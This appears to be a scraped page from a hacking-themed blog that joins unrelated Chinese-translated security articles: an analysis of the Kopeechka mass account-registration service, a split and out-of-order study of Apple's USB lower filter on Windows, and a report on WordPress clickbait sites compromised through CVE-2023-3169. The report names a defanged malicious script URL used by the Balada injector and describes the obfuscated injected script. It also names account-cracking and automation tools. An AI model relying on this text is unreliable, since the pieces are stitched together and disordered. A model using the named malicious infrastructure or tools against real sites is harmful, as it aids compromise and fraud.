Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86380464

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

Thumbnail_Kopeechka_Medium.webp.jpg

近年來,攻擊者變得越來越專業,他們鑽研技能,以求犯更少的關鍵錯誤,並創建了各種即插即用業務,幫助低技能的攻擊者發起詐騙和攻擊。

目前存在不同類型的攻擊服務,包括惡意軟件即服務,攻擊者開發並向其他攻擊者出售惡意軟件服務,該服務還包括在被攻擊的主機上創建和傳播勒索軟件等惡意軟件類型。同時,其他服務需要使用多個社交媒體帳戶才能成功進行,例如虛假信息、垃圾郵件和惡意軟件傳播。

事實上,攻擊者在社交媒體平台上使用數千個賬戶發送數千條垃圾郵件並不罕見。但是他們是如何做到自動化的呢?

最近,Kopeechka服務出現,促進了依賴大規模社交媒體垃圾郵件的攻擊活動。在俄語中,“kopeechka”的意思是“便士”。

該服務自2019年初以來一直活躍,為流行的社交媒體平台提供簡單的賬戶註冊服務,包括Instagram、Telegram、Facebook和X(以前的Twitter)。我們還注意到,針對未成年人的聊天網站可以通過Kopeechka進行註冊。

本文介紹了Kopeechka服務,並對該服務的特性和功能進行了詳細的技術分析,以及它如何幫助攻擊者實現其目標。

社交媒體平台如何確保賬戶創建過程的安全大多數社交媒體平台都採取了積極措施來加強賬戶創建的安全性。由於許多攻擊者在社交媒體平台上創建賬戶用於非法活動,社交媒體公司為了將攻擊者在其平台上的風險降至最低,故選擇從賬戶創建過程開始。

有不同的安全措施來保護平台,防止欺詐賬戶的創建,例如:

1.電子郵件地址驗證。註冊時,用戶需要證明所提供的電子郵件地址是否存在,這通常是通過代碼確認完成的,其中用戶通過電子郵件接收唯一的URL或代碼。一旦他們選擇這個鏈接或輸入代碼,他們的帳戶就會被驗證。

2.電話號碼驗證。這裡的目標是迫使用戶提供一個可以由社交媒體平台驗證的真實電話號碼,通常是通過發送一條帶有用戶需要在平台上輸入的代碼的文本消息。

3.驗證碼保護。儘管存在不同類型的captcha,但目標始終是相同的:驗證用戶是真人而不是機器人。通常情況下,用戶需要回答自動解決程序無法回答的問題。

4.IP地址信譽。這裡的目標是確定用戶的IP地址是否乾淨,並且不是來自代理、虛擬專用網絡(VPN)或任何其他匿名解決方案。

根據目標社交平台的不同,攻擊者需要唯一的電子郵件地址、唯一的電話號碼和無可疑的IP地址才能成功創建自己的賬戶。

雖然一些社交媒體平台使用驗證碼來阻止自動註冊,但這並沒有給攻擊者帶來很大的障礙,因為現在存在不同的服務,允許攻擊者以自動方式繞過驗證碼。 IP地址檢查服務也是如此,因為攻擊者可以使用住宅代理繞過這些措施。

因此,攻擊者可以使用自動腳本繞過驗證碼和IP地址信譽檢查工具。但是,他們仍然需要一個有效的電子郵件,可能還需要為他們想要創建的每個帳戶提供一個電話號碼,這就需要用到Kopeechka了。

Kopeechka運行過程Kopeechka不提供電子郵件收件箱的訪問權限,但它可以訪問從社交媒體平台收到的電子郵件。該服務的設計使郵箱帳戶仍然由Kopeechka控制,而不是由任何第三方用戶控制。

Kopeechka提供兩種不同類型的電子郵件:使用自己域名的電子郵件地址,以及託管在更受歡迎的電子郵件託管服務上的電子郵件地址。

Kopeechka表示它當前庫存的有效電子郵件數量,如表1所示:

1.jpg

截至2023年5月底,Kopeechka庫存的有效電子郵件地址數量

目前,這些電子郵件地址要么是由Kopeechka使用者自己創建的,要么可能是被攻擊的電子郵件收件箱。 Kopeechka還購買電子郵件帳戶,如下圖所示:

2.png

Kopeechka購買電子郵件地址可能用於非法用途

在撰寫本文時,該服務還提供了託管在其擁有的39個域名中的幾個電子郵件地址。

3.png

Kopeechka的電子郵件域名

Kopeechka(圖2)與流行域名(表1)的定價不同,後者比前者更昂貴(在撰寫本文時,Kopeechka域名的成本為0.05盧布或0.0005美元,一些流行域名的成本高達盧布1或0.01美元)。

Kopeechka是如何工作的? Kopeechka為其客戶提供web界面和API 4.png

Kopeechka的網絡界面,如Kopeechka的宣傳視頻所示

如上圖所示,web界面允許用戶使用購買的電子郵件地址輕鬆創建社交媒體帳戶,而API使用戶更容易自動創建多個社交媒體帳戶。

對於Kopeechka目前還無法搜索的社交媒體平台,用戶可以使用Kopeechka的API。

5.jpg

用戶如何通過使用Kopeechka API在新的社交媒體平台上獲得一個有效的帳戶

下載所有這些過程都可以完全自動化,這可以讓攻擊者在幾秒鐘內創建數百個甚至更多的賬戶,只要他們的Kopeechka賬戶裡有足夠的錢。

無法訪問實際的郵箱Kopeechka實際上不提供訪問實際郵箱的權限。當用戶請求郵箱創建社交媒體帳戶時,他們只能獲得電子郵件地址參考和包含確認碼或URL的特定電子郵件。這對於Kopeechka服務至關重要,因為它允許Kopeechka使用者使用一個電子郵件地址在不同的社交媒體平台上進行多次註冊,如下圖所示:

6.jpg

在不同的社交媒體平台上多個用戶可以使用一個唯一的電子郵件地址創建賬戶

短信的作用某些社交媒體平台還包括一個帳戶驗證步驟,需要一個電話號碼,他們將使用該電話號碼發送包含唯一代碼的短信,用戶需要在平台上輸入代碼才能成功註冊。

為了解決這個問題,Kopeechka允許用戶從16種不同的在線短信服務中進行選擇。與它的所有服務一樣,Kopeechka提供了視頻教程,以及每種服務的描述及其工作原理。

7.png

Kopeechka與16種不同的在線短信服務合作

Kopeechka的市場營銷和客戶服務除了宣傳其服務外,Kopeechka還通過不斷與用戶溝通和提供服務發生的任何事情(包括網絡問題和bug通知)的透明度來培養客戶忠誠度。 Kopeechka提供提示,完整的教程,甚至補償它的客戶。

Kopeechka使用者與他們的客戶就最近修復的漏洞進行了溝通,並為客戶的損失提供了賠償。

8.png

總而言之,Kopeechka似乎在處理客戶溝通方面採取了專業的方法,它使用了一種名為Bitrix24的客戶關係管理(CRM)工具來滿足其銷售、營銷和項目管理需求。 Kopeechka使用該軟件的原因可能是,Bitrix24每個客戶使用了一個子域,我們發現了一個現有的“kopeechkstore . Bitrix24 .ru”子域,該子域至少自2019年以來一直活躍。

Kopeechka還提供在線視頻、常見問題解答(FAQ)和描述該服務如何工作的專用頁面。客戶可以在該平台的客戶培訓中心這裡測試自己的賬戶創建和日誌記錄技能這讓用戶可以免費試用這項服務。

9.png

培訓中心主頁的英文截圖

Kopeechka還提供了一個正則表達式測試平台,它可以更好地匹配電子郵件中的文本,以防用戶訂閱特殊的服務。

與其他俄羅斯在線服務合作對於那些想要自動化賬戶註冊過程,但又不熟練使用API的用戶,Kopeechka鼓勵他們使用第三方俄羅斯服務ZennoPoster,該服務自2011年以來一直很活躍。

10.png

Kopeechka鼓勵用戶使用ZennoLab,並將給他們5%的退款,ZennoPoster是ZennoLab的產品。

ZennoPoster允許用戶通過像腳本一樣在瀏覽器上執行多次操作來自動執行瀏覽器操作,Kopeechka用戶可以使用ZennoPoster作為自動註冊系統。

11.png

ZennoPoster工具用於自動瀏覽操作的屏幕截圖

幾個在線話題解釋瞭如何使用ZennoPoster和Kopeechka在不同的社交媒體平台上註冊帳戶,其中一個示例是使用ZennoPoster和Kopeechka在俄羅斯約會網站“mylove.ru”上創建一個帳戶。

12.png

Kopeechka提供了使用ZennoPoster註冊mylove.ru帳戶的支持

ZennoPoster的開發者ZennoLab銷售數十種與社交媒體平台和其他在線網站互動相關的自動化任務。其中一個自動化任務是X(以前的Twitter)的腳本,它將通過X帳戶並向其所有關注者發送消息。因此,這個帳戶可以用來發送垃圾郵件。

13.png

ZennoLab還提供其他可能被攻擊者濫用的產品

ZennoLab也有CAPTCHA識別和代理搜索或檢查服務。

值得注意的是,Kopeechka鼓勵用戶使用ruCaptcha驗證碼解決服務,並提供5%的退款。

14.png

Kopeechka通過提供5%的退款來推廣RuCaptcha服務

Kopeechka還為開發者和用戶提供了一個協作計劃。雖然在軟件中使用Kopeechka API的開發者可以獲得銷售額的10%,但通過附屬鏈接說服更多人使用Kopeechka的用戶可以獲得每個新用戶在Kopeechka上消費金額的10%。

上傳二手郵件的用戶也將獲得郵件銷售額的一定提成。

15.png

Kopeechka的附屬項目

Kopeechka在地下論壇的活動在地下論壇宣傳這項服務自2019年2月成立以來,Kopeechka一直在宣傳自己的服務,每次更新後,Kopeechka都會定期更新其在攻擊者論壇上的廣告線索。

16.png

攻擊論壇上Kopeechka更新的帖子

目前,Kopeechka的俄語Telegram頻道有大約1000名訂戶,英語Telegram頻道有440名訂戶。

尋找漏洞除了在攻擊者的地下論壇上做廣告外,Koppechka的使用者似乎也對尋找漏洞很感興趣。可以在不同的論壇上看到很多使用Kopeechka這個名字的人,他們對利用漏洞進行攻擊很感興趣。在許多論壇上,攻擊者只與那些回復相關主題的人分享內容,這使得識別Kopeechka使用者感興趣的內容變得容易。此外,Kopeechka使用者有時也會就這些論壇上宣傳的產品或服務提出問題。

2022年6月,一名用戶在論壇上發布了一則廣告,介紹了一個據稱可以繞過Gmail的漏洞。一位名為kopeechka的用戶在2023年3月回復了關於這個漏洞的問題,並詢問它是否仍然是最新的。

在另一個論壇上,一位名叫Kopeechka的用戶回復了關於如何破解包括Spotify、Netflix、Steam在內的社交媒體賬戶的帖子,以及關於使用Black Bullet和一款名為OpenBullet的免費網絡測試軟件的帖子。

2020年,Kopeechka使用者還在一個論壇上發帖,請求幫助製作“一批不廣泛使用的文件,其保護與文憑大致相同”。雖然不知道他們想要提供什麼樣的文件,但這個請求很可疑,因為它背後的目的可能是提交虛假文件,以滿足各種服務提供商或管理部門的要求。

Kopeechka的用途Kopeechka幾乎可以用於任何需要處理帳戶註冊的服務。

在調查最近的一次大規模加密貨幣騙局時,我們報告了對Mastodon社交網絡的濫用,突然發現數百個新賬戶被創建,向Mastodon用戶推廣虛假加密貨幣網站。 Brian Krebs在今年早些時候討論了Kopeechka服務是如何被用來大規模註冊Mastodon賬戶的。

Mastodon是一個免費的開源社交網絡程序,一個商業平台的替代方案,避免了單個公司壟斷你溝通的風險。選擇你信任的服務器,無論選擇的是哪個,你都可以與其他人進行互動。

機器人還使用Kopeechka來輕鬆創建帳戶。目前已經可以看到通過Kopeechka API創建社交媒體帳戶的代碼,包括Discord, Telegram和Roblox帳戶的腳本。

17.png

在線提供一個Discord帳戶生成器代碼

18.png

Kopeechka上的一個自動kick.com帳戶生成器

19.png

一名攻擊者以每月50美元的價格出售在Kopeechka創建的Reddit賬戶

20.png

出售使用Kopeechka創建的coinmarketcap(加密貨幣市場網站)賬戶,售價150美元

此外,發現的可用於創建VirusTotal帳戶的Python腳本,表明一些用戶可能會註冊這些帳戶以測試惡意軟件檢測。

根據觀察,Kopeechka越來越受攻擊歡迎,在其上面買賣更有保障。

官方的Kopeechka API本身是大規模提供的,允許它集成到任何類型的代碼中。它存在於大多數開發人員的平台上,包括Python包索引(PyPI)、NuGet、GitHub和npm。

總結Kopeechka的服務可以提供一種簡單而實惠的方式來大規模創建在線賬戶,這對攻擊者很有幫助。 Kopeechka的客戶使用這項服務可以輕鬆創建大量賬戶,而無需短信和電子郵件驗證。

雖然Kopeechka主要用於創建多個賬戶,但攻擊者也可以使用它來為自己的活動增加一定程度的匿名性,因為他們不需要使用自己的電子郵件地址在社交媒體平台上創建賬戶。

為此,只有電子郵件服務提供商共同協作,加強他們的註冊流程,才能解決Kopeechka問題。不過,這一努力可能通過人工智能來實現,人工智能可以提供檢測自動賬戶註冊的方法。

蘋果USB低級過濾器,可幫助控制操作系統使用USB配置(上)

PTP還是MTP?本文中,我們將重點討論為什麼iphone沒有像我們期望的使用MTP協議的設備那樣提供一整套存儲操作,還將研究USB接口類/子類和WPD_DEVICE_PROTOCOL屬性之間不匹配的原因。為了回答這些問題,我們將了解如何創建WPD設備、如何“掛載”存儲以及如何設置WPD屬性。

首先對比一下使用PTP連接的Android設備和iPhone之間WPD設備協議屬性的差異:

9.jpg

考慮到iPhone中的WPD協議屬性,我們期望有一組更豐富的選項來與設備交互,可以通過查看設備的接口描述符來快速回答為什麼iPhone表現為PTP設備。

iPhone和小米在PTP和MTP模式下的描述如下:iPhone有多種配置,但無論選擇哪一種,創建WPD的接口PDO總是包含類6和子類1的接口。

10.png

儘管已經回答了最大的問題,但仍然有一些細節,比如為什麼iPhone不允許創建或複制任何東西到它,而另一方面,小米即使使用PTP也允許創建對象,所以對於喜歡深入了解事物的人來說,僅僅瀏覽界面描述是不夠的。

由於此描述符將生成CompatibleId USB\Class_06SubClass_01Prot_01,因此尋找與此ID匹配的INF,我們找到wpdmtp.inf。在此INF中,可以獲得WPD設備的UMDF部分的以下組件:

WpdMtp.dll:MTP核心協議組件;

WpdMtpUS.dll:Usbscan MTP驅動程序的傳輸層;

WpdMtpDr.dll:Windows便攜式設備媒體傳輸協議驅動程序;

作為內核方面的一部分,INF將添加WinUSB.sys作為LowerFilter,並添加反射器WUDFRd.sys作為函數驅動程序。

從上面提到的三個二進製文件中,WpdMtpDr是將在WUDFHost中運行的主要WPD MTP驅動程序。這是一個UMDFv1驅動程序,它將基於COM並用C++編寫,基於WpdWudfSampleDriver,幾乎就不需要逆轉,但該驅動程序沒有更新為使用UMDFv2,因為UMDFv1幾乎已經被棄用,並且幾乎不支持新功能。

11.jpg

如上所述,入口點是OnDeviceAdd例程。在這個函數中,創建了CDevice對象,它將我們帶到CDevice:OnPrepareHardware例程,在該例程中,通過調用WpdBaseDriver:Initialize來初始化WpdBaseDriver。不幸的是,這是Sample代碼和WpdMtpDr開始出現差異的部分。示例代碼沒有真正的設備可以通信,但在本文的示例中,WpdMtp.dll的作用所在,充當WpdMtpDr和真正設備之間的粘合劑。 MTP核心庫包含CMtpDevice類,它表示真實的設備。在WpdBaseDriver初始化期間,加載MTP核心庫,並打開與設備的會話,如以下簡化代碼片段所示:

11.png

加載MTP核心模塊後,觸發初始化例程來檢索MTP DeviceInfo Dataset。這是發送到設備的初始MTP請求之一,DeviceInfo結構在其返回時填充。值得注意的是,該結構包含關鍵信息,如模型、製造商和各種MTP版本標識符。這些信息在稍後設置WPD屬性時起著至關重要的作用。

MTP核心發送請求並將響應解析為CDeviceInfo結構,而WpdMtpDr利用緩存系統存儲指向WpdMtp返回的類的COM指針。這種方法可以防止頻繁地向設備重新發出PTP/MTP請求,從而優化I/O操作。

下面的堆棧顯示了這個函數第一次被調用:

12.png

在UM中,WPD應用程序通常使用WPD API構建WPD命令,WPD API將序列化該WPD命令並將其打包到IOCTL請求中,這將到達驅動程序,驅動程序將反序列化命令並相應地採取行動。

一旦設備準備好接收I/O操作,操作系統將嘗試檢索WPD設備屬性,該信息存在於device objectID中(此objectID是預定義的,始終表示device對象)。這個請求將到達WPD驅動程序,它將用CDeviceInfo的信息填充WPD設備屬性。對於WPD_DEVICE_PROTOCOL的情況,該值將如何設置:

13.png

現在如果看一下iPhone返回的DeviceInfo Dataset,可以看VendorExtId和VendorExtVersion,可以最終回答為什麼WPD_DEVICE_PROTOCOL被設置為MTP 15.20。 MICROSOFT_VENDOR_EXT_ID是由MS作為WMDRM協議的一部分定義的,這是MTP響應器需要在DeviceInfo Dataset中設置的值之一,以告訴MTP啟動器它支持AAVT,令人驚訝的是,iPhone只添加了這個必需的值,而不是其他值。

14.jpg

該屬性將在函數CDevicePropContext:GetDeviceType上檢索,該函數將使用SetupAPI獲得compatibleid,無論協議是PTP還是MTP,設備中的每個存儲對象(由以s開頭的storageid表示)都有自己的屬性。同樣,當設備上開始I/O操作時,操作系統使用兩個關鍵操作從存儲對像中檢索信息:getstorageid (0x1004)(檢索storageid列表)和GetStorageInfo (0x1005)(定義存儲對象的行為方式)。我們將重點關注後者,因為它返回一個包含以下三個關鍵字段的StorageInfo數據集。

存儲類型

文件系統類型

訪問功能

當WPD驅動程序第一次嘗試獲取設備的StorageInfo時,該請求將通過MTP核心模塊。該模塊向設備發送PTP/MTP操作請求,並將結果StorageInfo數據集返回給驅動程序。

15.png

因此,如果看一下iPhone是如何響應這個請求的,將能夠根據上面提到的三個字段來確定Storage對象的行為。

16.jpg

我們可以從上圖得到以下信息:存儲類型==固定RAM,這是相當標準的移動設備。文件系統類型==DCF, DCF代表Camera FS的設計規則,你可以會從著名的DCIM根目錄中認出它。 DCF標准定義了在目錄和文件上設置只讀屬性的選項。訪問能力==只讀,不能刪除對象,這是致命的。這將定義對Storage對象的訪問限制,操作系統將遵守這些限制。例如,這將影響iPhone的上下文菜單中顯示的選項。

這就是為什麼iPhone上的文件選項如此有限。為了便於比較,下圖顯示了使用PTP插入小米設備時的StorageInfo數據集。

17.jpg

事實證明,這就是為什麼即使使用PTP協議連接,也能夠在小米設備上創建對象的原因。然而,值得注意的是小米的MTP響應器似乎有問題,無論在設備上選擇PTP還是MTP,在響應GetStorageInfo請求時都會返回相同的Dataset,至少在紅米Note 8模型上是這樣。

這樣,我們就可以更清楚地理解Apple設備的運行方式,以及如何為設備配置WPD屬性。

蘋果軟件對蘋果設備棧的影響接下來總結一下,當我們在主機上安裝iTunes時會發生什麼,以及它是如何實現諸如從設備複製文件之類的操作的。

如上所述,由於Storage對像中的限制,WPD API將僅在iPhone上提供有限的操作子集,然而,當安裝iTunes後,它增加了一個不同的層,可以更全面地訪問設備。

正如我們在AppleLowerFilter中看到的,一旦iTunes被安裝,它將允許設備選擇一個不同的USB配置描述符。沒有iTunes,我們被限制在配置1,另一方面,一旦iTunes被默認安裝,選擇的配置將是3。以下是這兩種配置及其接口:

18.png

選擇配置3,將使usbccgp生成deviceID USB\VID_xxxxPID_yyyyMI_01(01從bInterfaceNumber中提取)。這些deviceid是在appleusb中定義的。它定義了以下文件的副本:

19.png

這兩個驅動程序將成為被蘋果公司稱為“蘋果移動設備USB設備”設備的一部分,該設備使用專有協議而不是MTP或PTP與iPhone進行通信,可以通過查看libimobiledevice的源代碼來了解有關該協議的更多信息。一旦驅動程序安裝並運行,iTunes本身就會使用標準WPD API調用和定制的蘋果特定命令的組合與iPhone進行通信。這使得iTunes能夠提供從設備中復製文件、管理應用程序和備份以及更新設備固件等功能。

下圖提供了iPhone的整個設備堆棧的簡化概述,包括安裝iTunes和創建AppleUsbMux設備的場景:

20.jpg

總結在本文中,我們探討了蘋果的USB低級過濾器是如何在Windows設備上工作的,以及它在提供不同體驗方面的作用,還深入研究了Windows便攜式設備(WPD)和用戶模式驅動程序框架(UMDF)等主題,以更好地理解蘋果設備堆棧的內部工作原理。

我們談到WPD設備是如何初始化和設置的,這幫助我們了解了為什麼WPD設備協議屬性和Apple設備中接口描述符定義的類之間存在不匹配。我們還研究了WPD設備的Storage對像是如何設置的,以及它如何在不使用第三方軟件的情況下在iPhone上操作的限制中發揮作用。最後,我們簡要討論了安裝iTunes對蘋果移動設備棧的影響,以及iTunes如何妥善管理設備內容。

蘋果希望保護某些信息,限制與iPhone存儲交互的現成選項,但如果有一個更混合的解決方案,用戶可以在一定的限制下擁有更大的靈活性。雖然iTunes為管理iPhone內容提供了一個強大的解決方案,但有時安裝第三方軟件可能不是一個選擇。然而,隨著iTunes最近作為微軟商店應用程序的發布,這種限制可能會減少。

Unit42-blog-2by1-characters-r4d1-2020_Cyber-squatting-v2.png

自2023年8月底以來,研究人員觀察到專門用於標題黨和廣告內容的受攻擊服務器顯著增加。但為什麼這樣的網站對攻擊者來說如此有吸引力呢?主要因為這些網站的設計是為了接觸到大量潛在的受害者。此外,標題黨網站經常使用過時或未修復的軟件,這使得它們很容易受到攻擊。

本文足以讓你了解標題黨文章的危險性。文中討論了標題黨網站如何增加流量以獲得廣告收入,研究人員回顧了一種基於其網絡流量特徵,來檢測易受攻擊標題黨網站的策略。最後,本文還闡述了基於CVE-2023-3169漏洞的標題黨網站數量激增的趨勢分析。

標題黨網站和廣告流量標題黨旨在讓讀者點擊一個可疑的網絡內容鏈接。專門從事標題黨內容的網站存在的唯一目的是產生廣告收入,因此,標題黨網站的網頁包含大量攻擊性廣告。

點擊誘餌需要大量的瀏覽量來產生廣告收入,所以這些網站通常使用以下三種策略來增加流量。

常青的話題;

內容髮現平台;

生成人工智能(AI)工具;

常青的話題增加流量的一個策略是關注常青話題。常青話題指的是與特定時間或地點無關的話題,人們一直覺得它們很有趣。例如,金融和衛生被認為是常青的話題。圖1和圖2顯示了來自標題黨網站的兩個示例頁面:

1.jpeg

金融主題標題黨文章的例子

2.jpeg

健康主題標題黨文章的例子

內容髮現平台由於標題黨內容本身是通過廣告傳播的,許多標題黨網站還依靠第二種策略來增加流量:內容髮現平台。

新聞機構和其他內容提供商使用內容髮現平台來創收,標題黨提供商經常使用這些服務來為他們自己的內容增加流量。

內容髮現平台經常使用技術來偽裝廣告。其中一種方法被稱為原生廣告,此方法將廣告內容配置為與其所在網站的外觀相似,瀏覽者很難區分網站的原創內容和廣告內容。下圖顯示了出現在新聞網站上的原生廣告示例:

3.png

原生廣告出現在新聞網站的例子

在上圖中,研究人員添加了一個紅色箭頭,指向hxxps://gofindyou[.]com/health/what-causes-plaque-psoriasis-heres-what-doctors-need-you-to-know的標題黨內容,快速檢查發現這個網站至少運行了一個過時的軟件。來自網頁的HTML代碼表明它使用了用於Yoast SEO的WordPress插件,如下圖所示:

4.jpeg

一個標題黨頁面顯示Yoast SEO插件v20.8的HTML代碼

顯示Yoast SEO插件20.8版本的HTML最初發佈於2023年5月23日。上圖所示的網頁是在2023年10月27日提供的,當時Yoast SEO插件的最新版本是21.4,這個插件已經過時。

研究人員經常發現帶有過時軟件或插件的標題黨網站。這種特殊情況不意味著存在任何特定的漏洞,但過時的軟件可能比完全打過補丁的版本更容易受到攻擊。

生成人工智能工具標題黨作者的最新策略是使用Jasper和AIPRM等生成式人工智能工具,這些工具提供了一種簡單的方法來生成seo優化的內容,以增加網站流量。

攻擊者經常濫用、利用或破壞合法產品以達到惡意目的,但這並不一定意味著濫用合法產品的缺陷或質量問題。

一個示例是在hxxps://delhiproduct[.]info/top-24-earn-money-with-paid-online-surveys 上用ChatGPT寫的一篇文章,在本例中,該網站是一個運行MonsterInsights插件(版本8.1.0)的過時版本的WordPress網站,如下圖所示:

5.jpeg

delhipproductinfo[.]com的HTML顯示了過時的MonsterInsights插件

截至2023年10月3日,MonsterInsights插件的最新版本是8.20.1,這意味著8.1.0版本至少已經過時兩年了。該插件的8.1.0版本也容易受到存儲跨站攻擊。

查找易受攻擊的網站要攻擊任何網站,攻擊者必須知道該網站的web服務器使用的web堆棧。這些數據包括操作系統、web內容管理軟件(CMS)以及任何相關的插件和主題。

攻擊者使用web堆棧數據來確定服務器是否運行任何過時的軟件或應用程序,有了這些信息,攻擊者可以很容易地找到公開的漏洞和利用來破壞網站。

研究人員如何確定服務器的web堆棧?研究人員可以通過網站的URL模式、HTML內容和功能來發現這些信息,網頁的外觀和感覺也可以提供線索。

接下來介紹一些指標,這些指標可以顯示網站的部分web堆棧。

/wp-content/或/wp-includes/:URL或網頁的HTML代碼中的任何一個字符串都表示關聯的網站可能使用WordPress。

wp-content/themes/Newspaper/style.css?ver=11.4.1 :在網頁的HTML代碼中,此字符串表示網站使用tagDiv的WordPress報紙主題,報紙版本為11.4.1。

!-- This site uses the Google Analytics by MonsterInsights plugin v8.1.0 - Using Analytics tracking - https://www.monsterinsights[.]com/--:網頁HTML代碼中的這條評論表明該網站使用了WordPress的MonsterInsights插件。插件信息的註釋在大多數情況下都是準確的。

在確認利用CVE-2023-3169時,前兩種技術可能會有所幫助。

利用CVE-2023-31692023年9月11日,MITRE發布了CVE-2023-3169,該漏洞在與WordPress的Composer插件一起使用時會影響tagDiv的Newspaper和Newsmag主題,已經有數千個WordPress網站因該漏洞而被攻擊。

Unit 42團隊成員監控Palo Alto Networks的遙測惡意活動,這些數據包括網頁中HTML代碼的指示符及其關聯的URL。根據這些數據,我們通過存在惡意腳本和其他指標來確認一個受攻擊的網站。

之前的研究表明,利用CVE-2023-3169後,通過Balada注入器攻擊了數千個易受攻擊的網站。根據這項研究,受此攻擊的網站從以下位置生成加載惡意內容的頁面:

hxxps://stay[.]decentralappps[.]com/src/page.js

研究人員的數據證實了這一發現,分析發現與CVE-2023-3169相關的受攻擊WordPress網站在2023年8月底開始激增。

在兩個月的時間裡,研究人員發現了大約10300個被攻擊的WordPress網站。下面圖表說明了研究人員檢測到的這個峰值。

6.png

研究人員通過CVE-2023-3169竊取的WordPress網站數據

如下圖所示,這些受攻擊的網站中有很大一部分是標題黨或廣告網站。調查發現,標題黨和廣告佔檢測30%以上,在這30%的網站中,至少80%的網站使用了tagDiv的Newspaper主題,另外6%的網站使用了tagDiv的Newsmag主題。

注入腳本示例下圖顯示了2023年10月初的一個示例,其中一個受攻擊網站將惡意腳本注入到網頁中,注入的腳本以黃色突出顯示。

7.png

在WordPress網站的網頁上註入腳本的示例

這個混淆的腳本使用表示ASCII字符的十進制值,將這些數字轉換為ASCII文本會顯示惡意腳本,如下圖所示:

8.png

從上圖中突出顯示的文本解碼的惡意腳本

上圖中解碼的腳本包含相同的hxxps://stay[.] decentralapps [.]com/src/page.js URL,在之前的報告中提到了使用Balada注入器利用CVE-2023-3169的活動。

標題黨和廣告網站的趨勢研究人員使用Cortex Xpanse和其他工具跟踪分析了漏洞趨勢。除了CVE-2023-3169之外,研究人員還跟踪受其他漏洞影響的網站。

在2023年9月15日至22日的樣本分析中,研究人員監控了1600個隨機選擇的WordPress網站的數據集,有用戶試圖訪問受攻擊的網站。

結果顯示,與其他類別相比,流量黨和廣告網站的受害比例接近三比一。下圖顯示了研究人員每週檢測的平均值:

9.png

檢測受攻擊WordPress網站

無論是來自CVE-2023-3169還是其他漏洞,與其他類別相比,受攻擊的標題黨和廣告網站的數量都始終更高。

總結當研究人員通過分析被攻擊網站的指標時,通過與其他類別相比,研究人員依舊看到大量被攻擊的標題黨和廣告網站。

這些網站通常使用過時或未修復的軟件,有可能觸及大量受害者,使其成為攻擊者的誘人目標。因此,標題黨文章本身就存在風險,讀者應該意識到這種風險,並相應地調整他們的瀏覽習慣。

如果你曾經將iPhone、iPad或iPod連接到Windows PC上,你可能會注意到,這些設備會根據你的操作顯示為不同類型的設備。例如,如果你正在給iPhone充電,它可能會顯示為“USB複合設備”,但如果你正在與iTunes同步音樂,它可能會顯示為“蘋果移動設備USB驅動程序”。你有沒有想過這是怎麼回事?事實證明,蘋果在Windows電腦上有一個USB低級過濾器,可以幫助他們控制操作系統使用哪些USB配置。

本文中,我們會首先介紹蘋果的USB低級過濾器是如何工作的,它是做什麼,以及無論是否安裝了蘋果軟件,它如何提供不同的體驗;其次,我們將研究為什麼當設備的WPD屬性WPD_DEVICE_PROTOCOL表明設備正在使用媒體傳輸協議(MTP)時,iphone的開箱操作如此有限。我們將深入研究諸如Windows便攜式設備(WPD),USB描述符和用戶模式驅動程序框架(UMDF)等話題。

初始化蘋果的USB低級過濾器蘋果設備將自己呈現為具有多個接口的複合設備,以確保它們的設備被正確識別,並加載所有必要的驅動程序。這是因為蘋果設備通常有多個接口,提供不同的功能,如音頻、視頻和控制。當我們將蘋果設備插入Windows設備時,總線適配器識別設備並向操作系統提供其hardwareid和compatibleid。這些id用於根據id的匹配質量在driver Store中搜索最佳驅動程序。

對於總線驅動器來說,要將該設備視為複合設備,必須滿足一定的要求。如果不滿足這些要求,操作系統將不會自動加載USB複合設備類驅動程序(usbccgp)。在這種情況下,我們需要提供一個INF來加載通用的父驅動程序,對於蘋果來說是文件AppleUSB.inf。

在iPhone的情況下,不滿足的要求是設備具有多個配置(bNumConfigurations==4)。

這個INF文件包含不同設備的各種設置配置(例如AppleUSB, AppleUsbHomePod和AppleUsbWatch)。對於iOS設備,HardwareId將完全匹配,因此操作系統將應用AppleUSB設置配置,這將復制AppleLowerFilter.sys,並將在設備特定的註冊表項下添加以下值:

1.png

OriginalConfigurationValue是一個可以在設備的硬件註冊表項中為Usbccgp.sys驅動程序設置的值。它確定複合設備的哪個配置應用作默認配置。首次插入複合設備時,系統讀取OriginalConfigurationValue並加載指定的配置。這對於具有多個配置的複合設備非常有用,其中一個配置可能是首選配置。

安裝驅動程序包後,微軟將詳細說明以下步驟。設備將重新啟動,重啟後,PnP管理器識別設備的功能驅動程序和任何可選的過濾器驅動程序,構建設備堆棧,在該樣本中,FDO是Usbccgp和LowerFiDO是AppleLowerFilter,並通過調用DriverEntry例程啟動設備,為任何尚未加載的所需驅動程序。然後為每個驅動程序調用AddDevice例程,從低過濾驅動程序開始,然後是函數驅動程序。如果需要,將分配資源,PnP管理器將IRP_MN_START_DEVICE發送給設備的驅動程序。

USB低級過濾器工作原理介紹了AppleLowerFilter的枚舉和安裝背後的理論之後,我們現在將仔細研究驅動程序是如何工作的,以及它在Windows設備上啟用Apple設備功能時所起的作用。

作為一個WDF驅動程序,PnP調用DriverEntry的第一步是初始化框架並綁定WDF版本(在本例中為WDF 1.15)。一旦完成,框架將調用我們的DriverEntry函數,在AppleLowerFilter的情況下,他們的驅動項將簡單地創建一個驅動對象,並在WDF_DRIVER_CONFIG中只設置一個AddDevice例程。 AppleLowerFilter的AddDevice例程將進行如下操作:

1.通過調用WdfFdoInitSetFilter將自己標識為FiDO;

2.為事件註冊PnP和電源管理回調:

EvtDevicePrepareHardware;

EvtDeviceReleaseHardware;

EvtDeviceD0Entry;

EvtDeviceD0Exit;

3.為IRP設置兩個IRP預處理回調:

IRP_MJ_PNP;

IRP_MJ_INTERNAL_DEVICE_CONTROL;

4.使用名為FILTER_EXTENSION(sizeof==0x50)的上下文類型信息創建一個DO;

本文不深入討論WDF框架的所有細節,但鼓勵每個人都深入研究Github上的源代碼。它是一個設計良好的軟件,使編寫驅動程序變得更加容易和直觀,因此研究代碼是一個很好的練習。

在上電序列( power-up sequence)中,下一步是為上電準備硬件,這意味著調用過濾器註冊的EvtDevicePrepareHardware回調。這可能是AppleLowerFilter中最有趣的步驟。

